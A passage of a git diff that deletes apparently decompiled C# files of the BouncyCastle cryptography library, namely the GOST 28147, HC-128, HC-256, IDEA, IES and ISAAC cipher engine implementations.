8, 0, 14, 15, 13, 3, 5, - 7, 6, 2, 4, 13, 9, 15, 0, 10, 1, - 5, 11, 8, 14, 12, 3, 13, 14, 4, 1, - 7, 0, 5, 10, 3, 12, 8, 15, 6, 2, - 9, 11, 1, 3, 10, 9, 5, 11, 4, 15, - 8, 6, 7, 14, 13, 0, 2, 12 - }; - sBoxes = Platform.CreateHashtable(); - AddSBox("Default", Sbox_Default); - AddSBox("E-TEST", ESbox_Test); - AddSBox("E-A", ESbox_A); - AddSBox("E-B", ESbox_B); - AddSBox("E-C", ESbox_C); - AddSBox("E-D", ESbox_D); - AddSBox("D-TEST", DSbox_Test); - AddSBox("D-A", DSbox_A); - } - - private static void AddSBox(string sBoxName, byte[] sBox) - { - sBoxes.Add(Platform.ToUpperInvariant(sBoxName), sBox); - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (parameters is ParametersWithSBox) - { - ParametersWithSBox parametersWithSBox = (ParametersWithSBox)parameters; - byte[] sBox = parametersWithSBox.GetSBox(); - if (sBox.Length != Sbox_Default.Length) - { - throw new ArgumentException("invalid S-box passed to GOST28147 init"); - } - S = Arrays.Clone(sBox); - if (parametersWithSBox.Parameters != null) - { - workingKey = generateWorkingKey(forEncryption, ((KeyParameter)parametersWithSBox.Parameters).GetKey()); - } - } - else if (parameters is KeyParameter) - { - workingKey = generateWorkingKey(forEncryption, ((KeyParameter)parameters).GetKey()); - } - else if (parameters != null) - { - throw new ArgumentException("invalid parameter passed to Gost28147 init - " + Platform.GetTypeName(parameters)); - } - } - - public virtual int GetBlockSize() - { - return 8; - } - - public virtual int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (workingKey == null) - { - throw new InvalidOperationException("Gost28147 engine not initialised"); - } - Check.DataLength(input, inOff, 8, "input buffer too short"); - Check.OutputLength(output, outOff, 8, "output buffer too short"); - Gost28147Func(workingKey, input, inOff, output, outOff); - return 8; - } - - public virtual void Reset() - { - } - - private int[] generateWorkingKey(bool forEncryption, byte[] userKey) - { - this.forEncryption = forEncryption; - if (userKey.Length != 32) - { - throw new ArgumentException("Key length invalid. Key needs to be 32 byte - 256 bit!!!"); - } - int[] array = new int[8]; - for (int i = 0; i != 8; i++) - { - array[i] = bytesToint(userKey, i * 4); - } - return array; - } - - private int Gost28147_mainStep(int n1, int key) - { - int num = key + n1; - int num2 = S[num & 0xF]; - num2 += S[16 + ((num >> 4) & 0xF)] << 4; - num2 += S[32 + ((num >> 8) & 0xF)] << 8; - num2 += S[48 + ((num >> 12) & 0xF)] << 12; - num2 += S[64 + ((num >> 16) & 0xF)] << 16; - num2 += S[80 + ((num >> 20) & 0xF)] << 20; - num2 += S[96 + ((num >> 24) & 0xF)] << 24; - num2 += S[112 + ((num >> 28) & 0xF)] << 28; - int num3 = num2 << 11; - int num4 = num2 >>> 21; - return num3 | num4; - } - - private void Gost28147Func(int[] workingKey, byte[] inBytes, int inOff, byte[] outBytes, int outOff) - { - int num = bytesToint(inBytes, inOff); - int num2 = bytesToint(inBytes, inOff + 4); - if (forEncryption) - { - for (int i = 0; i < 3; i++) - { - for (int j = 0; j < 8; j++) - { - int num3 = num; - int num4 = Gost28147_mainStep(num, workingKey[j]); - num = num2 ^ num4; - num2 = num3; - } - } - for (int num5 = 7; num5 > 0; num5--) - { - int num3 = num; - num = num2 ^ Gost28147_mainStep(num, workingKey[num5]); - num2 = num3; - } - } - else - { - for (int k = 0; k < 8; k++) - { - int num3 = num; - num = num2 ^ Gost28147_mainStep(num, workingKey[k]); - num2 = num3; - } - for (int l = 0; l < 3; l++) - { - int num6 = 7; - while (num6 >= 0 && (l != 2 || num6 != 0)) - { - int num3 = num; - num = num2 ^ Gost28147_mainStep(num, workingKey[num6]); - num2 = num3; - num6--; - } - } - } - num2 ^= Gost28147_mainStep(num, workingKey[0]); - intTobytes(num, outBytes, outOff); - intTobytes(num2, outBytes, outOff + 4); - } - - private static int bytesToint(byte[] inBytes, int inOff) - { - return (int)((inBytes[inOff + 3] << 24) & 0xFF000000u) + ((inBytes[inOff + 2] << 16) & 0xFF0000) + ((inBytes[inOff + 1] << 8) & 0xFF00) + (inBytes[inOff] & 0xFF); - } - - private static void intTobytes(int num, byte[] outBytes, int outOff) - { - outBytes[outOff + 3] = (byte)(num >> 24); - outBytes[outOff + 2] = (byte)(num >> 16); - outBytes[outOff + 1] = (byte)(num >> 8); - outBytes[outOff] = (byte)num; - } - - public static byte[] GetSBox(string sBoxName) - { - byte[] array = (byte[])sBoxes[Platform.ToUpperInvariant(sBoxName)]; - if (array == null) - { - throw new ArgumentException("Unknown S-Box - possible types: \"Default\", \"E-Test\", \"E-A\", \"E-B\", \"E-C\", \"E-D\", \"D-Test\", \"D-A\"."); - } - return Arrays.Clone(array); - } - - public static string GetSBoxName(byte[] sBox) - { - foreach (string key in sBoxes.Keys) - { - byte[] a = (byte[])sBoxes[key]; - if (Arrays.AreEqual(a, sBox)) - { - return key; - } - } - throw new ArgumentException("SBOX provided did not map to a known one"); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/HC128Engine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/HC128Engine.cs deleted file mode 100644 index 4a8d3b3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/HC128Engine.cs +++ /dev/null @@ -1,205 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class HC128Engine : IStreamCipher -{ - private uint[] p = new uint[512]; - - private uint[] q = new uint[512]; - - private uint cnt = 0u; - - private byte[] key; - - private byte[] iv; - - private bool initialised; - - private byte[] buf = new byte[4]; - - private int idx = 0; - - public virtual string AlgorithmName => "HC-128"; - - private static uint F1(uint x) - { - return RotateRight(x, 7) ^ RotateRight(x, 18) ^ (x >> 3); - } - - private static uint F2(uint x) - { - return RotateRight(x, 17) ^ RotateRight(x, 19) ^ (x >> 10); - } - - private uint G1(uint x, uint y, uint z) - { - return (RotateRight(x, 10) ^ RotateRight(z, 23)) + RotateRight(y, 8); - } - - private uint G2(uint x, uint y, uint z) - { - return (RotateLeft(x, 10) ^ RotateLeft(z, 23)) + RotateLeft(y, 8); - } - - private static uint RotateLeft(uint x, int bits) - { - return (x << bits) | (x >> -bits); - } - - private static uint RotateRight(uint x, int bits) - { - return (x >> bits) | (x << -bits); - } - - private uint H1(uint x) - { - return q[x & 0xFF] + q[((x >> 16) & 0xFF) + 256]; - } - - private uint H2(uint x) - { - return p[x & 0xFF] + p[((x >> 16) & 0xFF) + 256]; - } - - private static uint Mod1024(uint x) - { - return x & 0x3FF; - } - - private static uint Mod512(uint x) - { - return x & 0x1FF; - } - - private static uint Dim(uint x, uint y) - { - return Mod512(x - y); - } - - private uint Step() - { - uint num = Mod512(cnt); - uint result; - if (cnt < 512) - { - uint[] array; - nint num2; - (array = p)[num2 = (nint)num] = array[num2] + G1(p[Dim(num, 3u)], p[Dim(num, 10u)], p[Dim(num, 511u)]); - result = H1(p[Dim(num, 12u)]) ^ p[num]; - } - else - { - uint[] array; - nint num2; - (array = q)[num2 = (nint)num] = array[num2] + G2(q[Dim(num, 3u)], q[Dim(num, 10u)], q[Dim(num, 511u)]); - result = H2(q[Dim(num, 12u)]) ^ q[num]; - } - cnt = Mod1024(cnt + 1); - return result; - } - - private void Init() - { - if (key.Length != 16) - { - throw new ArgumentException("The key must be 128 bits long"); - } - idx = 0; - cnt = 0u; - uint[] array = new uint[1280]; - for (int i = 0; i < 16; i++) - { - uint[] array3; - uint[] array2 = (array3 = array); - int num = i >> 2; - nint num2 = num; - array2[num] = array3[num2] | (uint)(key[i] << 8 * (i & 3)); - } - Array.Copy(array, 0, array, 4, 4); - for (int j = 0; j < iv.Length && j < 16; j++) - { - uint[] array3; - uint[] array4 = (array3 = array); - int num3 = (j >> 2) + 8; - nint num2 = num3; - array4[num3] = array3[num2] | (uint)(iv[j] << 8 * (j & 3)); - } - Array.Copy(array, 8, array, 12, 4); - for (uint num4 = 16u; num4 < 1280; num4++) - { - array[num4] = F2(array[num4 - 2]) + array[num4 - 7] + F1(array[num4 - 15]) + array[num4 - 16] + num4; - } - Array.Copy(array, 256, p, 0, 512); - Array.Copy(array, 768, q, 0, 512); - for (int k = 0; k < 512; k++) - { - p[k] = Step(); - } - for (int l = 0; l < 512; l++) - { - q[l] = Step(); - } - cnt = 0u; - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - ICipherParameters cipherParameters = parameters; - if (parameters is ParametersWithIV) - { - iv = ((ParametersWithIV)parameters).GetIV(); - cipherParameters = ((ParametersWithIV)parameters).Parameters; - } - else - { - iv = new byte[0]; - } - if (cipherParameters is KeyParameter) - { - key = ((KeyParameter)cipherParameters).GetKey(); - Init(); - initialised = true; - return; - } - throw new ArgumentException("Invalid parameter passed to HC128 init - " + Platform.GetTypeName(parameters), "parameters"); - } - - private byte GetByte() - { - if (idx == 0) - { - Pack.UInt32_To_LE(Step(), buf); - } - byte result = buf[idx]; - idx = (idx + 1) & 3; - return result; - } - - public virtual void ProcessBytes(byte[] input, int inOff, int len, byte[] output, int outOff) - { - if (!initialised) - { - throw new InvalidOperationException(AlgorithmName + " not initialised"); - } - Check.DataLength(input, inOff, len, "input buffer too short"); - Check.OutputLength(output, outOff, len, "output buffer too short"); - for (int i = 0; i < len; i++) - { - output[outOff + i] = (byte)(input[inOff + i] ^ GetByte()); - } - } - - public virtual void Reset() - { - Init(); - } - - public virtual byte ReturnByte(byte input) - { - return (byte)(input ^ GetByte()); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/HC256Engine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/HC256Engine.cs deleted file mode 100644 index 6d954f5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/HC256Engine.cs +++ /dev/null @@ -1,175 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class HC256Engine : IStreamCipher -{ - private uint[] p = new uint[1024]; - - private uint[] q = new uint[1024]; - - private uint cnt = 0u; - - private byte[] key; - - private byte[] iv; - - private bool initialised; - - private byte[] buf = new byte[4]; - - private int idx = 0; - - public virtual string AlgorithmName => "HC-256"; - - private uint Step() - { - uint num = cnt & 0x3FF; - uint result; - if (cnt < 1024) - { - uint num2 = p[(num - 3) & 0x3FF]; - uint num3 = p[(num - 1023) & 0x3FF]; - uint[] array; - nint num4; - (array = p)[num4 = (nint)num] = array[num4] + (p[(num - 10) & 0x3FF] + (RotateRight(num2, 10) ^ RotateRight(num3, 23)) + q[(num2 ^ num3) & 0x3FF]); - num2 = p[(num - 12) & 0x3FF]; - result = (q[num2 & 0xFF] + q[((num2 >> 8) & 0xFF) + 256] + q[((num2 >> 16) & 0xFF) + 512] + q[((num2 >> 24) & 0xFF) + 768]) ^ p[num]; - } - else - { - uint num5 = q[(num - 3) & 0x3FF]; - uint num6 = q[(num - 1023) & 0x3FF]; - uint[] array; - nint num4; - (array = q)[num4 = (nint)num] = array[num4] + (q[(num - 10) & 0x3FF] + (RotateRight(num5, 10) ^ RotateRight(num6, 23)) + p[(num5 ^ num6) & 0x3FF]); - num5 = q[(num - 12) & 0x3FF]; - result = (p[num5 & 0xFF] + p[((num5 >> 8) & 0xFF) + 256] + p[((num5 >> 16) & 0xFF) + 512] + p[((num5 >> 24) & 0xFF) + 768]) ^ q[num]; - } - cnt = (cnt + 1) & 0x7FF; - return result; - } - - private void Init() - { - if (key.Length != 32 && key.Length != 16) - { - throw new ArgumentException("The key must be 128/256 bits long"); - } - if (iv.Length < 16) - { - throw new ArgumentException("The IV must be at least 128 bits long"); - } - if (key.Length != 32) - { - byte[] destinationArray = new byte[32]; - Array.Copy(key, 0, destinationArray, 0, key.Length); - Array.Copy(key, 0, destinationArray, 16, key.Length); - key = destinationArray; - } - if (iv.Length < 32) - { - byte[] array = new byte[32]; - Array.Copy(iv, 0, array, 0, iv.Length); - Array.Copy(iv, 0, array, iv.Length, array.Length - iv.Length); - iv = array; - } - idx = 0; - cnt = 0u; - uint[] array2 = new uint[2560]; - for (int i = 0; i < 32; i++) - { - uint[] array4; - uint[] array3 = (array4 = array2); - int num = i >> 2; - nint num2 = num; - array3[num] = array4[num2] | (uint)(key[i] << 8 * (i & 3)); - } - for (int j = 0; j < 32; j++) - { - uint[] array4; - uint[] array5 = (array4 = array2); - int num3 = (j >> 2) + 8; - nint num2 = num3; - array5[num3] = array4[num2] | (uint)(iv[j] << 8 * (j & 3)); - } - for (uint num4 = 16u; num4 < 2560; num4++) - { - uint num5 = array2[num4 - 2]; - uint num6 = array2[num4 - 15]; - array2[num4] = (RotateRight(num5, 17) ^ RotateRight(num5, 19) ^ (num5 >> 10)) + array2[num4 - 7] + (RotateRight(num6, 7) ^ RotateRight(num6, 18) ^ (num6 >> 3)) + array2[num4 - 16] + num4; - } - Array.Copy(array2, 512, p, 0, 1024); - Array.Copy(array2, 1536, q, 0, 1024); - for (int k = 0; k < 4096; k++) - { - Step(); - } - cnt = 0u; - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - ICipherParameters cipherParameters = parameters; - if (parameters is ParametersWithIV) - { - iv = ((ParametersWithIV)parameters).GetIV(); - cipherParameters = ((ParametersWithIV)parameters).Parameters; - } - else - { - iv = new byte[0]; - } - if (cipherParameters is KeyParameter) - { - key = ((KeyParameter)cipherParameters).GetKey(); - Init(); - initialised = true; - return; - } - throw new ArgumentException("Invalid parameter passed to HC256 init - " + Platform.GetTypeName(parameters), "parameters"); - } - - private byte GetByte() - { - if (idx == 0) - { - Pack.UInt32_To_LE(Step(), buf); - } - byte result = buf[idx]; - idx = (idx + 1) & 3; - return result; - } - - public virtual void ProcessBytes(byte[] input, int inOff, int len, byte[] output, int outOff) - { - if (!initialised) - { - throw new InvalidOperationException(AlgorithmName + " not initialised"); - } - Check.DataLength(input, inOff, len, "input buffer too short"); - Check.OutputLength(output, outOff, len, "output buffer too short"); - for (int i = 0; i < len; i++) - { - output[outOff + i] = (byte)(input[inOff + i] ^ GetByte()); - } - } - - public virtual void Reset() - { - Init(); - } - - public virtual byte ReturnByte(byte input) - { - return (byte)(input ^ GetByte()); - } - - private static uint RotateRight(uint x, int bits) - { - return (x >> bits) | (x << -bits); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/IdeaEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/IdeaEngine.cs deleted file mode 100644 index 0afd549..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/IdeaEngine.cs +++ /dev/null @@ -1,230 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class IdeaEngine : IBlockCipher -{ - private const int BLOCK_SIZE = 8; - - private int[] workingKey; - - private static readonly int MASK = 65535; - - private static readonly int BASE = 65537; - - public virtual string AlgorithmName => "IDEA"; - - public virtual bool IsPartialBlockOkay => false; - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (!(parameters is KeyParameter)) - { - throw new ArgumentException("invalid parameter passed to IDEA init - " + Platform.GetTypeName(parameters)); - } - workingKey = GenerateWorkingKey(forEncryption, ((KeyParameter)parameters).GetKey()); - } - - public virtual int GetBlockSize() - { - return 8; - } - - public virtual int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (workingKey == null) - { - throw new InvalidOperationException("IDEA engine not initialised"); - } - Check.DataLength(input, inOff, 8, "input buffer too short"); - Check.OutputLength(output, outOff, 8, "output buffer too short"); - IdeaFunc(workingKey, input, inOff, output, outOff); - return 8; - } - - public virtual void Reset() - { - } - - private int BytesToWord(byte[] input, int inOff) - { - return ((input[inOff] << 8) & 0xFF00) + (input[inOff + 1] & 0xFF); - } - - private void WordToBytes(int word, byte[] outBytes, int outOff) - { - outBytes[outOff] = (byte)((uint)word >> 8); - outBytes[outOff + 1] = (byte)word; - } - - private int Mul(int x, int y) - { - if (x == 0) - { - x = BASE - y; - } - else if (y == 0) - { - x = BASE - x; - } - else - { - int num = x * y; - y = num & MASK; - x = num >>> 16; - x = y - x + ((y < x) ? 1 : 0); - } - return x & MASK; - } - - private void IdeaFunc(int[] workingKey, byte[] input, int inOff, byte[] outBytes, int outOff) - { - int num = 0; - int x = BytesToWord(input, inOff); - int num2 = BytesToWord(input, inOff + 2); - int num3 = BytesToWord(input, inOff + 4); - int x2 = BytesToWord(input, inOff + 6); - for (int i = 0; i < 8; i++) - { - x = Mul(x, workingKey[num++]); - num2 += workingKey[num++]; - num2 &= MASK; - num3 += workingKey[num++]; - num3 &= MASK; - x2 = Mul(x2, workingKey[num++]); - int num4 = num2; - int num5 = num3; - num3 ^= x; - num2 ^= x2; - num3 = Mul(num3, workingKey[num++]); - num2 += num3; - num2 &= MASK; - num2 = Mul(num2, workingKey[num++]); - num3 += num2; - num3 &= MASK; - x ^= num2; - x2 ^= num3; - num2 ^= num5; - num3 ^= num4; - } - WordToBytes(Mul(x, workingKey[num++]), outBytes, outOff); - WordToBytes(num3 + workingKey[num++], outBytes, outOff + 2); - WordToBytes(num2 + workingKey[num++], outBytes, outOff + 4); - WordToBytes(Mul(x2, workingKey[num]), outBytes, outOff + 6); - } - - private int[] ExpandKey(byte[] uKey) - { - int[] array = new int[52]; - if (uKey.Length < 16) - { - byte[] array2 = new byte[16]; - Array.Copy(uKey, 0, array2, array2.Length - uKey.Length, uKey.Length); - uKey = array2; - } - for (int i = 0; i < 8; i++) - { - array[i] = BytesToWord(uKey, i * 2); - } - for (int j = 8; j < 52; j++) - { - if ((j & 7) < 6) - { - array[j] = (((array[j - 7] & 0x7F) << 9) | (array[j - 6] >> 7)) & MASK; - } - else if ((j & 7) == 6) - { - array[j] = (((array[j - 7] & 0x7F) << 9) | (array[j - 14] >> 7)) & MASK; - } - else - { - array[j] = (((array[j - 15] & 0x7F) << 9) | (array[j - 14] >> 7)) & MASK; - } - } - return array; - } - - private int MulInv(int x) - { - if (x < 2) - { - return x; - } - int num = 1; - int num2 = BASE / x; - int num3 = BASE % x; - while (num3 != 1) - { - int num4 = x / num3; - x %= num3; - num = (num + num2 * num4) & MASK; - if (x == 1) - { - return num; - } - num4 = num3 / x; - num3 %= x; - num2 = (num2 + num * num4) & MASK; - } - return (1 - num2) & MASK; - } - - private int AddInv(int x) - { - return -x & MASK; - } - - private int[] InvertKey(int[] inKey) - { - int num = 52; - int[] array = new int[52]; - int num2 = 0; - int num3 = MulInv(inKey[num2++]); - int num4 = AddInv(inKey[num2++]); - int num5 = AddInv(inKey[num2++]); - int num6 = MulInv(inKey[num2++]); - array[--num] = num6; - array[--num] = num5; - array[--num] = num4; - array[--num] = num3; - for (int i = 1; i < 8; i++) - { - num3 = inKey[num2++]; - num4 = inKey[num2++]; - array[--num] = num4; - array[--num] = num3; - num3 = MulInv(inKey[num2++]); - num4 = AddInv(inKey[num2++]); - num5 = AddInv(inKey[num2++]); - num6 = MulInv(inKey[num2++]); - array[--num] = num6; - array[--num] = num4; - array[--num] = num5; - array[--num] = num3; - } - num3 = inKey[num2++]; - num4 = inKey[num2++]; - array[--num] = num4; - array[--num] = num3; - num3 = MulInv(inKey[num2++]); - num4 = AddInv(inKey[num2++]); - num5 = AddInv(inKey[num2++]); - num6 = MulInv(inKey[num2]); - array[--num] = num6; - array[--num] = num5; - array[--num] = num4; - array[--num] = num3; - return array; - } - - private int[] GenerateWorkingKey(bool forEncryption, byte[] userKey) - { - if (forEncryption) - { - return ExpandKey(userKey); - } - return InvertKey(ExpandKey(userKey)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/IesEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/IesEngine.cs deleted file mode 100644 index 6e00a64..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/IesEngine.cs +++ /dev/null @@ -1,159 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class IesEngine -{ - private readonly IBasicAgreement agree; - - private readonly IDerivationFunction kdf; - - private readonly IMac mac; - - private readonly BufferedBlockCipher cipher; - - private readonly byte[] macBuf; - - private bool forEncryption; - - private ICipherParameters privParam; - - private ICipherParameters pubParam; - - private IesParameters param; - - public IesEngine(IBasicAgreement agree, IDerivationFunction kdf, IMac mac) - { - this.agree = agree; - this.kdf = kdf; - this.mac = mac; - macBuf = new byte[mac.GetMacSize()]; - } - - public IesEngine(IBasicAgreement agree, IDerivationFunction kdf, IMac mac, BufferedBlockCipher cipher) - { - this.agree = agree; - this.kdf = kdf; - this.mac = mac; - macBuf = new byte[mac.GetMacSize()]; - this.cipher = cipher; - } - - public virtual void Init(bool forEncryption, ICipherParameters privParameters, ICipherParameters pubParameters, ICipherParameters iesParameters) - { - this.forEncryption = forEncryption; - privParam = privParameters; - pubParam = pubParameters; - param = (IesParameters)iesParameters; - } - - private byte[] DecryptBlock(byte[] in_enc, int inOff, int inLen, byte[] z) - { - byte[] array = null; - KeyParameter keyParameter = null; - KdfParameters kdfParameters = new KdfParameters(z, param.GetDerivationV()); - int macKeySize = param.MacKeySize; - kdf.Init(kdfParameters); - if (inLen < mac.GetMacSize()) - { - throw new InvalidCipherTextException("Length of input must be greater than the MAC"); - } - inLen -= mac.GetMacSize(); - if (cipher == null) - { - byte[] array2 = GenerateKdfBytes(kdfParameters, inLen + macKeySize / 8); - array = new byte[inLen]; - for (int i = 0; i != inLen; i++) - { - array[i] = (byte)(in_enc[inOff + i] ^ array2[i]); - } - keyParameter = new KeyParameter(array2, inLen, macKeySize / 8); - } - else - { - int cipherKeySize = ((IesWithCipherParameters)param).CipherKeySize; - byte[] key = GenerateKdfBytes(kdfParameters, cipherKeySize / 8 + macKeySize / 8); - cipher.Init(forEncryption: false, new KeyParameter(key, 0, cipherKeySize / 8)); - array = cipher.DoFinal(in_enc, inOff, inLen); - keyParameter = new KeyParameter(key, cipherKeySize / 8, macKeySize / 8); - } - byte[] encodingV = param.GetEncodingV(); - mac.Init(keyParameter); - mac.BlockUpdate(in_enc, inOff, inLen); - mac.BlockUpdate(encodingV, 0, encodingV.Length); - mac.DoFinal(macBuf, 0); - inOff += inLen; - byte[] a = Arrays.CopyOfRange(in_enc, inOff, inOff + macBuf.Length); - if (!Arrays.ConstantTimeAreEqual(a, macBuf)) - { - throw new InvalidCipherTextException("Invalid MAC."); - } - return array; - } - - private byte[] EncryptBlock(byte[] input, int inOff, int inLen, byte[] z) - { - byte[] array = null; - KeyParameter keyParameter = null; - KdfParameters kParam = new KdfParameters(z, param.GetDerivationV()); - int num = 0; - int macKeySize = param.MacKeySize; - if (cipher == null) - { - byte[] array2 = GenerateKdfBytes(kParam, inLen + macKeySize / 8); - array = new byte[inLen + mac.GetMacSize()]; - num = inLen; - for (int i = 0; i != inLen; i++) - { - array[i] = (byte)(input[inOff + i] ^ array2[i]); - } - keyParameter = new KeyParameter(array2, inLen, macKeySize / 8); - } - else - { - int cipherKeySize = ((IesWithCipherParameters)param).CipherKeySize; - byte[] key = GenerateKdfBytes(kParam, cipherKeySize / 8 + macKeySize / 8); - cipher.Init(forEncryption: true, new KeyParameter(key, 0, cipherKeySize / 8)); - num = cipher.GetOutputSize(inLen); - byte[] array3 = new byte[num]; - int num2 = cipher.ProcessBytes(input, inOff, inLen, array3, 0); - num2 += cipher.DoFinal(array3, num2); - array = new byte[num2 + mac.GetMacSize()]; - num = num2; - Array.Copy(array3, 0, array, 0, num2); - keyParameter = new KeyParameter(key, cipherKeySize / 8, macKeySize / 8); - } - byte[] encodingV = param.GetEncodingV(); - mac.Init(keyParameter); - mac.BlockUpdate(array, 0, num); - mac.BlockUpdate(encodingV, 0, encodingV.Length); - mac.DoFinal(array, num); - return array; - } - - private byte[] GenerateKdfBytes(KdfParameters kParam, int length) - { - byte[] array = new byte[length]; - kdf.Init(kParam); - kdf.GenerateBytes(array, 0, array.Length); - return array; - } - - public virtual byte[] ProcessBlock(byte[] input, int inOff, int inLen) - { - agree.Init(privParam); - BigInteger n = agree.CalculateAgreement(pubParam); - byte[] array = BigIntegers.AsUnsignedByteArray(agree.GetFieldSize(), n); - try - { - return forEncryption ? EncryptBlock(input, inOff, inLen, array) : DecryptBlock(input, inOff, inLen, array); - } - finally - { - Array.Clear(array, 0, array.Length); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/IsaacEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/IsaacEngine.cs deleted file mode 100644 index 0dcaed9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/IsaacEngine.cs +++ /dev/null @@ -1,191 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class IsaacEngine : IStreamCipher -{ - private static readonly int sizeL = 8; - - private static readonly int stateArraySize = sizeL << 5; - - private uint[] engineState = null; - - private uint[] results = null; - - private uint a = 0u; - - private uint b = 0u; - - private uint c = 0u; - - private int index = 0; - - private byte[] keyStream = new byte[stateArraySize << 2]; - - private byte[] workingKey = null; - - private bool initialised = false; - - public virtual string AlgorithmName => "ISAAC"; - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (!(parameters is KeyParameter)) - { - throw new ArgumentException("invalid parameter passed to ISAAC Init - " + Platform.GetTypeName(parameters), "parameters"); - } - KeyParameter keyParameter = (KeyParameter)parameters; - setKey(keyParameter.GetKey()); - } - - public virtual byte ReturnByte(byte input) - { - if (index == 0) - { - isaac(); - keyStream = Pack.UInt32_To_BE(results); - } - byte result = (byte)(keyStream[index] ^ input); - index = (index + 1) & 0x3FF; - return result; - } - - public virtual void ProcessBytes(byte[] input, int inOff, int len, byte[] output, int outOff) - { - if (!initialised) - { - throw new InvalidOperationException(AlgorithmName + " not initialised"); - } - Check.DataLength(input, inOff, len, "input buffer too short"); - Check.OutputLength(output, outOff, len, "output buffer too short"); - for (int i = 0; i < len; i++) - { - if (index == 0) - { - isaac(); - keyStream = Pack.UInt32_To_BE(results); - } - output[i + outOff] = (byte)(keyStream[index] ^ input[i + inOff]); - index = (index + 1) & 0x3FF; - } - } - - public virtual void Reset() - { - setKey(workingKey); - } - - private void setKey(byte[] keyBytes) - { - workingKey = keyBytes; - if (engineState == null) - { - engineState = new uint[stateArraySize]; - } - if (results == null) - { - results = new uint[stateArraySize]; - } - for (int i = 0; i < stateArraySize; i++) - { - engineState[i] = (results[i] = 0u); - } - a = (b = (c = 0u)); - index = 0; - byte[] array = new byte[keyBytes.Length + (keyBytes.Length & 3)]; - Array.Copy(keyBytes, 0, array, 0, keyBytes.Length); - for (int i = 0; i < array.Length; i += 4) - { - results[i >> 2] = Pack.LE_To_UInt32(array, i); - } - uint[] array2 = new uint[sizeL]; - for (int i = 0; i < sizeL; i++) - { - array2[i] = 2654435769u; - } - for (int i = 0; i < 4; i++) - { - mix(array2); - } - for (int i = 0; i < 2; i++) - { - for (int j = 0; j < stateArraySize; j += sizeL) - { - for (int k = 0; k < sizeL; k++) - { - uint[] array4; - uint[] array3 = (array4 = array2); - int num = k; - nint num2 = num; - array3[num] = array4[num2] + ((i < 1) ? results[j + k] : engineState[j + k]); - } - mix(array2); - for (int k = 0; k < sizeL; k++) - { - engineState[j + k] = array2[k]; - } - } - } - isaac(); - initialised = true; - } - - private void isaac() - { - b += ++c; - for (int i = 0; i < stateArraySize; i++) - { - uint num = engineState[i]; - switch (i & 3) - { - case 0: - a ^= a << 13; - break; - case 1: - a ^= a >> 6; - break; - case 2: - a ^= a << 2; - break; - case 3: - a ^= a >> 16; - break; - } - a += engineState[(i + 128) & 0xFF]; - uint num2 = (engineState[i] = engineState[(num >> 2) & 0xFF] + a + b); - results[i] = (b = engineState[(num2 >> 10) & 0xFF] + num); - } - } - - private void mix(uint[] x) - { - uint[] array; - (array = x)[0] = array[0] ^ (x[1] << 11); - (array = x)[3] = array[3] + x[0]; - (array = x)[1] = array[1] + x[2]; - (array = x)[1] = array[1] ^ (x[2] >> 2); - (array = x)[4] = array[4] + x[1]; - (array = x)[2] = array[2] + x[3]; - (array = x)[2] = array[2] ^ (x[3] << 8); - (array = x)[5] = array[5] + x[2]; - (array = x)[3] = array[3] + x[4]; - (array = x)[3] = array[3] ^ (x[4] >> 16); - (array = x)[6] = array[6] + x[3]; - (array = x)[4] = array[4] + x[5]; - (array = x)[4] = array[4] ^ (x[5] << 10); - (array = x)[7] = array[7] + x[4]; - (array = x)[5] = array[5] + x[6]; - (array = x)[5] = array[5] ^ (x[6] >> 4); - (array = x)[0] = array[0] + x[5]; - (array = x)[6] = array[6] + x[7]; - (array = x)[6] = array[6] ^ (x[7] << 8); - (array = x)[1] = array[1] + x[6]; - (array = x)[7] = array[7] + x[0]; - (array = x)[7] = array[7] ^ (x[0] >> 9); - (array = x)[2] = array[2] + x[7]; - (array = x)[0] = array[0] + x[1]; - } -} diff --git 